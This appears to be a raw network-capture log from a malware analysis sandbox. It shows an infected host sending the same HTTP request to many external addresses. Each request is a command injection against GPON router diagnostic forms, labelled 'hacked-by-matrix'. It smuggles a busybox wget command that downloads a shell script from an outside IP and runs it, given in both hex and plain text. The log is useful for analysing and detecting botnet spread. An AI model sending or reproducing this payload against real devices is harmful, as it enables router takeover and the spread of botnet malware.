Mar 21, 2024 05:23:33.818456888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1789	192.168.2.13	45698	5.2.195.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818484068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1790	192.168.2.13	54726	42.174.98.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818540096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1791	192.168.2.13	39052	109.246.50.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818559885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1792	192.168.2.13	33472	118.75.50.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818572044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1793	192.168.2.13	45136	118.197.179.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818592072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1794	192.168.2.13	56052	118.84.140.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818749905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1795	192.168.2.13	53098	212.106.157.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818768024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1796	192.168.2.13	39752	5.128.0.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818768024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1797	192.168.2.13	51018	42.80.137.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818809986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1798	192.168.2.13	58500	212.134.149.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818811893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1799	192.168.2.13	32954	118.215.229.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818979025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1800	192.168.2.13	36892	5.188.20.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.818999052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1801	192.168.2.13	36432	118.229.183.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.819004059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1802	192.168.2.13	34596	118.143.230.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.819020033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1803	192.168.2.13	32776	5.58.154.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.819048882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1804	192.168.2.13	40162	109.27.17.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.819051027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1805	192.168.2.13	36190	5.56.116.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.819072962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1806	192.168.2.13	48270	212.152.140.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.819087029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1807	192.168.2.13	33974	118.12.143.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.819087029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1808	192.168.2.13	43900	42.140.136.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.819113970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1809	192.168.2.13	48598	118.47.223.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820487976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1810	192.168.2.13	46578	109.222.43.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820491076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1811	192.168.2.13	43778	109.65.245.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.820549965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1812	192.168.2.13	33710	109.147.30.98	443

Timestamp	Bytes transferred	Direction	Data
